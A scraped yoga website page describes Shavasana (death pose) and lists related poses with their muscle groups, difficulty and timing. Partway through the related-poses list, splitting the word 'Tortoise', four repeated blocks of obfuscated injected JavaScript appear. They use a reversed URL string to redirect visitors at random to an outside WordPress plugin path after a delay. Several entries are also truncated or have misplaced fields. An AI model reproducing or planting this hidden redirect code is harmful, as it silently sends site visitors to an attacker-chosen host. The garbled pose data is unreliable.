Yoga details

Death pose (Shavasana)

Muscle System : Back and legs

Level of Difficulty : M

Timing : Morning

Accessories needed : Yoga mat

Benefits :

Overview :

Steps to Perform :

Step 1

Lie flat on your back, like our sleeping pose. ...

Step 2

Keep your arms at your side and your palms facing up. ...

Step 3

Close your eyes and breathe deeply and slowly through the nostrils.

Step 4

Start concentrating from your head to your feet.

Comments

Leave a Reply

Your email address will not be published. Required fields are marked *

People Who Viewed this Yoga Pose Also Viewed
Easy Pose (Sukhasana)

Muscle System :legs and Buttocks

Level of Difficulty : L

Timing : Morning

Accessories needed : Yoga mat
Thunderbolt (Vajrasana)

Muscle System :M

Level of Difficulty :

Timing : Evening

Accessories needed : Yoga mat
Child pose (Balasana)

Muscle System :Forehead, legs and toes

Level of Difficulty : L

Timing : Morning

Accessories needed : yoga mat
Alignment of body and mind (asana)

Muscle System :lower back

Level of Difficulty : M

Timing : morning

Accessories needed : yoga mat,four lightweight foam yoga blocks, classic yoga belt, two foam bricks .
Chakrasana (Wheel pose)

Muscle System :Toes and palms

Level of Difficulty : H

Timing : Morning

Accessories needed : Yoga mat
Tortoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}tolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}toise posture (Kurmasana)

Muscle System :Legs, Buttocks and hands

Level of Difficulty : H

Timing : Morning

Accessories needed : Yoga mat
Peacock pose (Mayurasana)

Muscle System :Two palms

Level of Difficulty : L

Timing : Morning & Evening

Accessories needed : Yoga mat
Warrior pose 1 (virbhadrasana)

Muscle System :Legs,handsand upper body

Level of Difficulty : M

Timing : Morning

Accessories needed : Yoga mat